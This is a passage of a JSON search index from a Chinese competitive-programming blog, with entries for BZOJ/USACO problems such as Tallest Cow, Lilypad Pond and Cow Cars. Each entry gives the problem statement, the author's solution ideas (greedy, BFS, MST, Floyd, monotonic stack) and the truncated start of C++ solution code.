:111qqz 3Created Time :2016年04月08日 星期五 13时59分29秒 4File Name :code/bzoj/1637.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#includ","date":"2016-04-08","externalUrl":null,"permalink":"/2016/04/bzoj-1637/","section":"Posts","summary":"1637: [Usaco2007 Mar]Balanced Lineup # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 503 Solved: 336 [Submit][Status][Discuss]","tags":["乱搞","前缀和"],"title":"BZOJ 1637: [Usaco2007 Mar]Balanced Lineup (前缀和乱搞)","type":"post"},{"categories":["ACM"],"content":"1635: [Usaco2007 Jan]Tallest Cow 最高的牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 472 Solved: 278 [Submit][Status][Discuss] Description # FJ’s N (1 \u003c= N \u003c= 10,000) cows conveniently indexed 1..N are standing in a line. Each cow has a positive integer height (which is a bit of secret). You are told only the height H (1 \u003c= H \u003c= 1,000,000) of the tallest cow along with the index I of that cow. FJ has made a list of R (0 \u003c= R \u003c= 10,000) lines of the form “cow 17 sees cow 34”. This means that cow 34 is at least as tall as cow 17, and that every cow between 17 and 34 has a height that is strictly smaller than that of cow 17. For each cow from 1..N, determine its maximum possible height, such that all of the information given is still correct. It is guaranteed that it is possible to satisfy all the constraints. 有n(1 \u003c= n \u003c= 10000)头牛从１到n线性排列，每头牛的高度为h[i](1 \u003c= i \u003c= n),现在告诉你这里面的牛的最大高度为maxH,而且有r组关系，每组关系输入两个数字，假设为a和b,表示第a头牛能看到第b头牛，能看到的条件是a, b之间的其它牛的高度都严格小于min(h[a], h[b]),而h[b] \u003e= h[a] Input # Line 1: Four space-separated integers: N, I, H and R Lines 2..R+1: Two distinct space-separated integers A and B (1 \u003c= A, B \u003c= N), indicating that cow A can see cow B. Output # Lines 1..N: Line i contains the maximum possible height of cow i. Sample Input # 9 3 5 5 1 3 5 3 4 3 3 7 9 8 INPUT DETAILS: There are 9 cows, and the 3rd is the tallest with height 5. Sample Output # 5 4 5 3 4 4 5 5 5 差分序列大概就是前缀和的逆过程…? 这道题对于一堆关系（a,b） 要使得【a+1,b-1】中每个都严格小于a,b，但是又要尽可能大，所以令每个[a+1,b-1]每个数-1. 之前其实遇到过，以为是前缀和的第二种应用。但确切来说其实是前缀和的逆过程。。。叫差分序列？ 注意去重。对于完全相同的，做一遍就好啦。所以要先排个序 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月07日 星期四 22时52分44秒 4File Name :code/bzoj/1635.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003c","date":"2016-04-07","externalUrl":null,"permalink":"/2016/04/bzoj-1635/","section":"Posts","summary":"1635: [Usaco2007 Jan]Tallest Cow 最高的牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 472 Solved: 278 [Submit][Status][Discuss]","tags":["前缀和","差分序列"],"title":"BZOJ 1635: [Usaco2007 Jan]Tallest Cow 最高的牛 (差分序列（前缀和的逆）)","type":"post"},{"categories":["ACM"],"content":"1634: [Usaco2007 Jan]Protecting the Flowers 护花 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 605 Solved: 383 [Submit][Status][Discuss] Description # Farmer John went to cut some wood and left N (2 \u003c= N \u003c= 100,000) cows eating the grass, as usual. When he returned, he found to his horror that the cows were in his garden eating his beautiful flowers. Wanting to minimize the subsequent damage, FJ decided to take immediate action and transport the cows back to their barn. Each cow i is at a location that is Ti minutes (1 \u003c= Ti \u003c= 2,000,000) away from the barn. Furthermore, while waiting for transport, she destroys Di (1 \u003c= Di \u003c= 100) flowers per minute. No matter how hard he tries,FJ can only transport one cow at a time back to the barn. Moving cow i to the barn requires 2*Ti minutes (Ti to get there and Ti to return). Write a program to determine the order in which FJ should pick up the cows so that the total number of flowers destroyed is minimized. 约翰留下他的N只奶牛上山采木．他离开的时候，她们像往常一样悠闲地在草场里吃草．可是，当他回来的时候，他看到了一幕惨剧：牛们正躲在他的花园里，啃食着他心爱的美丽花朵！为了使接下来花朵的损失最小，约翰赶紧采取行动，把牛们送回牛棚． 牛们从1到N编号．第i只牛所在的位置距离牛棚Ti(1≤Ti《2000000)分钟的路程，而在约翰开始送她回牛棚之前，她每分钟会啃食Di(1≤Di≤100)朵鲜花．无论多么努力，约翰一次只能送一只牛回棚．而运送第第i只牛事实上需要2Ti分钟，因为来回都需要时间． 写一个程序来决定约翰运送奶牛的顺序，使最终被吞食的花朵数量最小． Input # Line 1: A single integer N * Lines 2..N+1: Each line contains two space-separated integers, Ti and Di, that describe a single cow’s characteristics 第1行输入N，之后N行每行输入两个整数Ti和Di． Output # Line 1: A single integer that is the minimum number of destroyed flowers 一个整数，表示最小数量的花朵被吞食． Sample Input # 6 3 1 2 5 2 3 3 2 4 1 1 6 Sample Output # 86 HINT # 约翰用6，2，3，4，1，5的顺序来运送他的奶牛． 思路：和bzoj1629一样的思路。 对于两只牛，他们的先后顺序对于其他牛没有影响。 所以可以按照t*2+d升序排列。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月07日 星期四 13时32分09秒 4File Name :c","date":"2016-04-07","externalUrl":null,"permalink":"/2016/04/bzoj1634/","section":"Posts","summary":"1634: [Usaco2007 Jan]Protecting the Flowers 护花 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 605 Solved: 383 [Submit][Status][Discuss]","tags":["greedy"],"title":"BZOJ 1634: [Usaco2007 Jan]Protecting the Flowers 护花(贪心)","type":"post"},{"categories":["ACM"],"content":"1632: [Usaco2007 Feb]Lilypad Pond # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 496 Solved: 153 [Submit][Status][Discuss] Description # Farmer John 建造了一个美丽的池塘，用于让他的牛们审美和锻炼。这个长方形的池子被分割成了 M 行和 N 列( 1 ≤ M ≤ 30 ; 1 ≤ N ≤ 30 ) 正方形格子的 。某些格子上有惊人的坚固的莲花，还有一些岩石，其余的只是美丽，纯净，湛蓝的水。 贝茜正在练习芭蕾舞，她从一个莲花跳跃到另一个莲花，当前位于一个莲花。她希望在莲花上一个一个的跳，目标是另一个给定莲花。她能跳既不入水，也不到一个岩石上。 令门外汉惊讶的是，贝茜的每次的跳跃像中国象棋的马一样：横向移动1，纵向移动2，或纵向移动1，横向移动2。贝茜有时可能会有多达8个选择的跳跃。 Farmer John 在观察贝茜的芭蕾舞联系，他意识到有时候贝茜有可能跳不到她想去的目的地，因为路上有些地方没有莲花。于是他想要添加几个莲花使贝茜能够完成任务。一贯节俭的Farmer John想添加最少数量的莲花。当然，莲花不能放在石头上。 请帮助Farmer John确定必须要添加的莲花的最少数量。在添加的莲花最少基础上，算出贝茜从起始点跳到目标点需要的最少的步数。最后，还要算出满足添加的莲花的最少数量时，跳跃最少步数的跳跃路径的条数。 Input # 第 1 行: 两个整数 M , N 第 2..M + 1 行:第 i + 1 行，第 i + 1 行 有 N 个整数，表示该位置的状态: 0 为水; 1 为莲花; 2 为岩石; 3 为贝茜开始的位置; 4 为贝茜要去的目标位置. Output # 第 1 行: 一个整数: 需要添加的最少的莲花数. 如果无论如何贝茜也无法跳到，输出 -1. 第 2 行: 一个整数: 在添加的莲花最少基础上，贝茜从起始点跳到目标点需要的最少的步数。如果第1行输出-1，这行不输出。 第 3 行: 一个整数: 添加的莲花的最少数量时，跳跃步数为第2行输出的值的跳跃路径的条数 如果第1行输出-1，这行不输出。 Sample Input # 4 8 0 0 0 1 0 0 0 0 0 0 0 0 0 2 0 1 0 0 0 0 0 4 0 0 3 0 0 0 0 0 1 0 Sample Output # 2 6 2 输出说明 至少要添加2朵莲花，放在了’x’的位置。 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 x 0 0 0 2 0 1 0 0 0 0 0 2 0 1 0 0 0 0 x 4 0 0 0 0 x 0 x 4 0 0 3 0 0 0 0 0 1 0 3 0 0 0 0 0 1 0 贝茜至少要条6步，有以下两种方案 0 0 0 C 0 0 0 0 0 0 0 C 0 0 0 0 0 B 0 0 0 2 0 F 0 0 0 0 0 2 0 F 0 0 0 0 D G 0 0 0 0 B 0 D G 0 0 A 0 0 0 0 0 E 0 A 0 0 0 0 0 E 0 题意;一个n*m的maze,0是空，1是荷花，2是石头，出发地是3，每次跳象棋的马字步，只能走在荷花上，但是可以在水上添加荷花，问从3到4，在添加荷花数最少的前提下，添加的荷花数是多少，最少的步数是多少，以及在前面两个最少的前提下，有多少种路径。 思路：前两个好搞。。最后一个路径数难住我了。。没有写过这种。。一开始是想在bfs或者dfs一遍找路径，但是可能不同路径会经过相同的点，所以vis的标记会是个问题。。回溯呢。。？反正我是没搞出来。。 正解是用到了类似dp的思想。。具体可以看代码。 以及：一开始我是想添加一些节点的信息到结构体里。。但是发现那样写起来会很麻烦。。 所以这道题最好再开几个数组存储节点的额外信息。。。 还有路径数比较多，要记得开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月06日 星期三 23时04分48秒 4Fil","date":"2016-04-06","externalUrl":null,"permalink":"/2016/04/bzoj-1632/","section":"Posts","summary":"1632: [Usaco2007 Feb]Lilypad Pond # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 496 Solved: 153 [Submit][Status][Discuss]","tags":["bfs","dp","计数问题"],"title":"BZOJ 1632: [Usaco2007 Feb]Lilypad Pond (BFS,dp)","type":"post"},{"categories":["ACM"],"content":"2023: [Usaco2005 Nov]Ant Counting 数蚂蚁 # Time Limit: 4 Sec Memory Limit: 64 MB Submit: 149 Solved: 85 [Submit][Status][Discuss] Description # 有一天，贝茜无聊地坐在蚂蚁洞前看蚂蚁们进进出出地搬运食物．很快贝茜发现有些蚂蚁长得几乎一模一样，于是她认为那些蚂蚁是兄弟，也就是说它们是同一个家族里的成员．她也发现整个蚂蚁群里有时只有一只出来觅食，有时是几只，有时干脆整个蚁群一起出来．这样一来，蚂蚁们出行觅食时的组队方案就有很多种．作为一头有数学头脑的奶牛，贝茜注意到整个蚂蚁群由T(1≤T≤1000)个家族组成，她将这些家族按1到T依次编号．编号为i的家族里有Ni(1≤Ni≤100)只蚂蚁．同一个家族里的蚂蚁可以认为是完全相同的． 如果一共有S，S+1…．，B(1≤S≤B≤A)只蚂蚁一起出去觅食，它们一共能组成多少种不同的队伍呢？注意：只要两支队伍中所包含某个家族的蚂蚁数不同，我们就认为这两支队伍不同．由于贝茜无法分辨出同一家族的蚂蚁，所以当两支队伍中所包含的所有家族的蚂蚁数都相同时，即使有某个家族换了几只蚂蚁出来，贝茜也会因为看不出不同而把它们认为是同一支队伍． 比如说，有个由3个家族组成的蚂蚁群里一共有5只蚂蚁，它们所属的家族分别为1，1，2，2，3．于是出去觅食时它们有以下几种组队方案： ·1只蚂蚁出去有三种组合：(1)(2)(3) ·2只蚂蚁出去有五种组合：(1，1)(1，2)(1，3)(2，2)(2，3) ·3只蚂蚁出去有五种组合：(1，1，2)(1，1，3)(1，2，2)(1，2，3)(2，2，3) ·4只蚂蚁出去有三种组合：(1，2，2，3)(1，1，2，2)(1，1，2，3) ·5只蚂蚁出去有一种组合：(1，1，2，2，3) 你的任务就是根据给出的数据，计算蚂蚁们组队方案的总数． Input # 第1行：4个用空格隔开的整数T，A，S，B. 第2到A+1行：每行是一个正整数，为某只蚂蚁所在的家族的编号． Output # 输出一个整数，表示当S到B（包括S和B）只蚂蚁出去觅食时，不同的组队方案数． 注意：组合是无序的，也就是说组合1，2和组合2，1是同一种组队方式．最后的答案可能很大，你只需要输出答案的最后6位数字．注意不要输出前导0以及多余的空格． Sample Input # 3 5 2 3 1 2 2 1 3INPUT DETAILS:Three types of ants (1..3); 5 ants altogether. How many sets of size 2 or size 3 can be made? Sample Output # 10 OUTPUT DETAILS: 5 sets of ants with two members; 5 more sets of ants with three members 题意：有n只蚂蚁，T个种族，输入给出第i只蚂蚁属于哪个种族（每个种族最多有100只蚂蚁） 设f[x]表示x只蚂蚁的组成的方案数（只要两支队伍中所包含某个家族的蚂蚁数不同，我们就认为这两支队伍不同） 现在要求 [S,B]区间中 f[x]的和 。 思路：时间主要花在的读题上。。。这两个题目一个没描述一个数据有问题。。。得一起看。 题目读懂以后觉得是母函数。。 先统计出每种种群的蚂蚁个数，然后就变成了 hdu2152解题报告 这道题的模型。。。 然后求母函数的时候直接求到B的，那么之前的也都求出来了。 最后累加。 由于答案保留最后六位数字，所以算的时候要6… 1A，好开心。。。。 母函数的思维上难度很小，说白了都是套路。 感觉比那些dp+前缀和乱搞的做法高到不知哪里去了（反正对我这种dp废是这样的） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 17时49分19秒 4File Name :code/bzoj/1630.cpp 5*********************************************","date":"2016-04-04","externalUrl":null,"permalink":"/2016/04/bzoj1630/","section":"Posts","summary":"2023: [Usaco2005 Nov]Ant Counting 数蚂蚁 # Time Limit: 4 Sec Memory Limit: 64 MB Submit: 149 Solved: 85 [Submit][Status][Discuss]","tags":["母函数"],"title":"BZOJ 1630/2023: [Usaco2005 Nov]Ant Counting 数蚂蚁  （母函数）","type":"post"},{"categories":["ACM"],"content":"1629: [Usaco2007 Demo]Cow Acrobats # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 771 Solved: 398 [Submit][Status][Discuss] Description # Farmer John’s N (1 \u003c= N \u003c= 50,000) cows (numbered 1..N) are planning to run away and join the circus. Their hoofed feet prevent them from tightrope walking and swinging from the trapeze (and their last attempt at firing a cow out of a cannon met with a dismal failure). Thus, they have decided to practice performing acrobatic stunts. The cows aren’t terribly creative and have only come up with one acrobatic stunt: standing on top of each other to form a vertical stack of some height. The cows are trying to figure out the order in which they should arrange themselves within this stack. Each of the N cows has an associated weight (1 \u003c= W_i \u003c= 10,000) and strength (1 \u003c= S_i \u003c= 1,000,000,000). The risk of a cow collapsing is equal to the combined weight of all cows on top of her (not including her own weight, of course) minus her strength (so that a stronger cow has a lower risk). Your task is to determine an ordering of the cows that minimizes the greatest risk of collapse for any of the cows. //有三个头牛，下面三行二个数分别代表其体重及力量 //它们玩叠罗汉的游戏，每个牛的危险值等于它上面的牛的体重总和减去它的力量值，因为它要扛起上面所有的牛嘛. //求所有方案中危险值最大的最小 Input # Line 1: A single line with the integer N. * Lines 2..N+1: Line i+1 describes cow i with two space-separated integers, W_i and S_i. Output # Line 1: A single integer, giving the largest risk of all the cows in any optimal ordering that minimizes the risk. Sample Input # 3 10 3 2 5 3 3 Sample Output # 2 OUTPUT DETAILS: Put the cow with weight 10 on the bottom. She will carry the other two cows, so the risk of her collapsing is 2+3-3=2. The other cows have lower risk of collapsing. 思路：贪心。 两头奶牛的相对位置，对于其他奶牛是没有影响的。因为这两头奶牛的体重之和一定。 那么对于两头奶牛i,j,谁放在下面呢？ 如","date":"2016-04-04","externalUrl":null,"permalink":"/2016/04/bzoj1629/","section":"Posts","summary":"1629: [Usaco2007 Demo]Cow Acrobats # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 771 Solved: 398 [Submit][Status][Discuss]","tags":["greedy"],"title":"BZOJ 1629: [Usaco2007 Demo]Cow Acrobats (贪心)","type":"post"},{"categories":["ACM"],"content":"1628: [Usaco2007 Demo]City skyline # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 396 Solved: 317 [Submit][Status][Discuss] Description # Input # 第一行给出N，W 第二行到第N+1行:每行给出二个整数x,y，输入的x严格递增，并且第一个x总是1 Output # 输出一个整数，表示城市中最少包含的建筑物数量 Sample Input # 10 26 1 1 2 2 5 1 6 3 8 1 11 0 15 2 17 3 20 2 22 1 INPUT DETAILS: The case mentioned above Sample Output # 6 思路：我是正着做的，判断条件没有问题，但是细节不好处理，一直WA..大概是有什么地方没想到？ 正解是单调栈。 转载一段题解： 答案的上限 肯定是 n， 何时会减一呢？ 当有两座楼高度相等且它们的中间没有比它们低的楼。 所以要维护的是一个单调递增的序列， 每次弹出比它大的直到遇到一个和它相等的， 没有相等的话就把 它加入这个序列中。 实现很简单。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 15时23分45秒 4File Name :code/bzoj/1628.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int n,w; 35int x[N],y[N]; 36int st[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 ios::sync_with_stdio(false); 44 cin\u003e\u003en\u003e\u003ew; 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 cin\u003e\u003ex[i]\u003e\u003ey[i]; 48 } 49 50 int top = 0; 51 int ans = n; 52 for ( int i = 1 ;i \u003c= n ; i++) 53 { 54 while (top\u0026\u0026y[i]\u003cst[top]) top--; 55 if (st[top]==y[i]) ans--; 56 else st[++top] = y[i]; 57 } 58 cout\u003c\u003cans\u003c\u003cendl; 59 60 61 62 #ifndef ONLINE_JUDG","date":"2016-04-04","externalUrl":null,"permalink":"/2016/04/bzoj1628/","section":"Posts","summary":"1628: [Usaco2007 Demo]City skyline # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 396 Solved: 317 [Submit][Status][Discuss]","tags":["单调栈"],"title":"BZOJ 1628: [Usaco2007 Demo]City skyline (单调栈)","type":"post"},{"categories":["ACM"],"content":"1627: [Usaco2007 Dec]穿越泥地 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 624 Solved: 411 [Submit][Status][Discuss] Description # 清早6：00，Farmer John就离开了他的屋子，开始了他的例行工作：为贝茜挤奶。前一天晚上，整个农场刚经受过一场瓢泼大雨的洗礼，于是不难想见，FJ 现在面对的是一大片泥泞的土地。FJ的屋子在平面坐标(0, 0)的位置，贝茜所在的牛棚则位于坐标(X,Y) (-500 \u003c= X \u003c= 500; -500 \u003c= Y \u003c= 500)处。当然咯， FJ也看到了地上的所有N(1 \u003c= N \u003c= 10,000)个泥塘，第i个泥塘的坐标为 (A_i, B_i) (-500 \u003c= A_i \u003c= 500；-500 \u003c= B_i \u003c= 500)。每个泥塘都只占据了它所在的那个格子。 Farmer John自然不愿意弄脏他新买的靴子，但他同时想尽快到达贝茜所在的位置。为了数那些讨厌的泥塘，他已经耽搁了一些时间了。如果Farmer John 只能平行于坐标轴移动，并且只在x、y均为整数的坐标处转弯，那么他从屋子门口出发，最少要走多少路才能到贝茜所在的牛棚呢？你可以认为从FJ的屋子到牛棚总是存在至少一条不经过任何泥塘的路径。 Input # 第1行: 3个用空格隔开的整数：X，Y 和 N 第2..N+1行: 第i+1行为2个用空格隔开的整数：A_i 和 B_i Output # 第1行: 输出1个整数，即FJ在不踏进泥塘的情况下，到达贝茜所在牛棚所需要 走过的最小距离 Sample Input # 1 2 7 0 2 -1 3 3 1 1 1 4 2 -1 1 2 2 输入说明: 贝茜所在牛棚的坐标为(1, 2)。Farmer John能看到7个泥塘，它们的坐标分 别为(0, 2)、(-1, 3)、(3, 1)、(1, 1)、(4, 2)、(-1, 1)以及(2, 2)。 以下为农场的简图：（*为FJ的屋子，B为贝茜呆的牛棚） 4 . . . . . . . . 3 . M . . . . . . Y 2 . . M B M . M . 1 . M . M . M . . 0 . . * . . . . . -1 . . . . . . . . -2-1 0 1 2 3 4 5 X Sample Output # 11 HINT # 约翰的最佳路线是：(0，0)，（一1，0），（一2，0），（一2，1），（一2，2），（一2，3），（一2，4），（一1，4），(0,4), (0,3), (1,3), (1,2). 思路：bfs,坐标有负数，整体平移500即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 14时43分48秒 4File Name :code/bzoj/1627.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP","date":"2016-04-04","externalUrl":null,"permalink":"/2016/04/bzoj1627/","section":"Posts","summary":"1627: [Usaco2007 Dec]穿越泥地 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 624 Solved: 411 [Submit][Status][Discuss]","tags":["bfs"],"title":"BZOJ 1627: [Usaco2007 Dec]穿越泥地 (BFS)","type":"post"},{"categories":["ACM"],"content":"1626: [Usaco2007 Dec]Building Roads 修建道路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1362 Solved: 541 [Submit][Status][Discuss] Description # Farmer John最近得到了一些新的农场，他想新修一些道路使得他的所有农场可以经过原有的或是新修的道路互达（也就是说，从任一个农场都可以经过一些首尾相连道路到达剩下的所有农场）。有些农场之间原本就有道路相连。 所有N(1 \u003c= N \u003c= 1,000)个农场（用1..N顺次编号）在地图上都表示为坐标为(X_i, Y_i)的点(0 \u003c= X_i \u003c= 1,000,000；0 \u003c= Y_i \u003c= 1,000,000)，两个农场间道路的长度自然就是代表它们的点之间的距离。现在Farmer John也告诉了你农场间原有的M(1 \u003c= M \u003c= 1,000)条路分别连接了哪两个农场，他希望你计算一下，为了使得所有农场连通，他所需建造道路的最小总长是多少。 Input # 第1行: 2个用空格隔开的整数：N 和 M 第2..N+1行: 第i+1行为2个用空格隔开的整数：X_i、Y_i * 第N+2..N+M+2行: 每行用2个以空格隔开的整数i、j描述了一条已有的道路， 这条道路连接了农场i和农场j Output # 第1行: 输出使所有农场连通所需建设道路的最小总长，保留2位小数，不必做 任何额外的取整操作。为了避免精度误差，计算农场间距离及答案时 请使用64位实型变量 Sample Input # 4 1 1 1 3 1 2 3 4 3 1 4 输入说明: FJ一共有4个坐标分别为(1,1)，(3,1)，(2,3)，(4,3)的农场。农场1和农场 4之间原本就有道路相连。 Sample Output # 4.00 输出说明: FJ选择在农场1和农场2间建一条长度为2.00的道路，在农场3和农场4间建一 条长度为2.00的道路。这样，所建道路的总长为4.00，并且这是所有方案中道路 总长最小的一种。 思路：最小生成树，先把给的边处理了，然后添加所有没有给的边作为备选边，做最小生成树。 因为算距离往写sqrt 而WA了一发。。。。蠢哭 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 13时49分48秒 4File Name :code/bzoj/1626.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ciomanip\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E3+","date":"2016-04-04","externalUrl":null,"permalink":"/2016/04/bzoj1626/","section":"Posts","summary":"1626: [Usaco2007 Dec]Building Roads 修建道路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1362 Solved: 541 [Submit][Status][Discuss]","tags":["最小生成树"],"title":"BZOJ 1626: [Usaco2007 Dec]Building Roads 修建道路 (MST)","type":"post"},{"categories":["ACM"],"content":"1624: [Usaco2008 Open] Clear And Present Danger 寻宝之路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 507 Solved: 345 [Submit][Status][Discuss] Description # 农夫约翰正驾驶一条小艇在牛勒比海上航行． 海上有N(1≤N≤100)个岛屿，用1到N编号．约翰从1号小岛出发，最后到达N号小岛．一 张藏宝图上说，如果他的路程上经过的小岛依次出现了Ai，A2，…，AM(2≤M≤10000)这样的序列（不一定相邻），那他最终就能找到古老的宝藏． 但是，由于牛勒比海有海盗出没．约翰知道任意两个岛屿之间的航线上海盗出没的概率，他用一个危险指数Dij(0≤Dij≤100000)来描述．他希望他的寻宝活动经过的航线危险指数之和最小．那么，在找到宝藏的前提下，这个最小的危险指数是多少呢？ Input # 第1行输入N和M，之后M行一行一个整数表示A序列，之后输入一个NxN的方阵，表示两两岛屿之间航线的危险指数．数据保证Dij=Dji，Dii=0． Output # 最小的危险指数和． Sample Input # 3 4 1 2 1 3 0 5 1 5 0 2 1 2 0 INPUT DETAILS: There are 3 islands and the treasure map requires Farmer John to visit a sequence of 4 islands in order: island 1, island 2, island 1 again, and finally island 3. The danger ratings of the paths are given: the paths (1, 2); (2, 3); (3, 1) and the reverse paths have danger ratings of 5, 2, and 1, respectively. Sample Output # 7 OUTPUT DETAILS: He can get the treasure with a total danger of 7 by traveling in the sequence of islands 1, 3, 2, 3, 1, and 3. The cow map’s requirement (1, 2, 1, and 3) is satisfied by this route. We avoid the path between islands 1 and 2 because it has a large danger rating. HINT # Source # Silver 思路：可以把危险指数看成距离，于是floyd一下就好咯 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 02时54分18秒 4File Name :code/bzoj/1624.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1624/","section":"Posts","summary":"1624: [Usaco2008 Open] Clear And Present Danger 寻宝之路 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 507 Solved: 345 [Submit][Status][Discuss]","tags":["floyd"],"title":"BZOJ 1624: [Usaco2008 Open] Clear And Present Danger 寻宝之路 (Floyd)","type":"post"},{"categories":["ACM"],"content":"1623: [Usaco2008 Open]Cow Cars 奶牛飞车 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 386 Solved: 266 [Submit][Status][Discuss] Description # 编号为1到N的N只奶牛正各自驾着车打算在牛德比亚的高速公路上飞驰．高速公路有M(1≤M≤N)条车道．奶牛i有一个自己的车速上限Si(l≤Si≤1,000,000)． 在经历过糟糕的驾驶事故之后，奶牛们变得十分小心，避免碰撞的发生．每条车道上，如果某一只奶牛i的前面有K只奶牛驾车行驶，那奶牛i的速度上限就会下降K*D个单位，也就是说，她的速度不会超过Si - kD(O≤D≤5000)，当然如果这个数是负的，那她的速度将是0．牛德比亚的高速会路法规定，在高速公路上行驶的车辆时速不得低于/(1≤L≤1,000,000)．那么，请你计算有多少奶牛可以在高速公路上行驶呢？ Input # 第1行输入N，M，D，L四个整数，之后N行每行一个整数输入Si． N\u003c=50000 Output # 输出最多有多少奶牛可以在高速公路上行驶． Sample Input # 3 1 1 5//三头牛开车过一个通道.当一个牛进入通道时，它的速度V会变成V-D*X(X代表在它前面有多少牛),它减速后，速度不能小于L 5 7 5 INPUT DETAILS: There are three cows with one lane to drive on, a speed decrease of 1, and a minimum speed limit of 5. Sample Output # 2 OUTPUT DETAILS: Two cows are possible, by putting either cow with speed 5 first and the cow with speed 7 second. 思路：贪心。尽可能让这些车均匀分布。 以及初始就干掉那些最大速度小于L的。然后按照s[i]从小到大排序，先放置速度小的。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 02时26分34秒 4File Name :code/bzoj/1623.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E4+7; 34int n,m; 35int s[N]; 36int D,L; 37int num[N]; //num[i]表示第i个车道现在的有多少辆车 38int main() 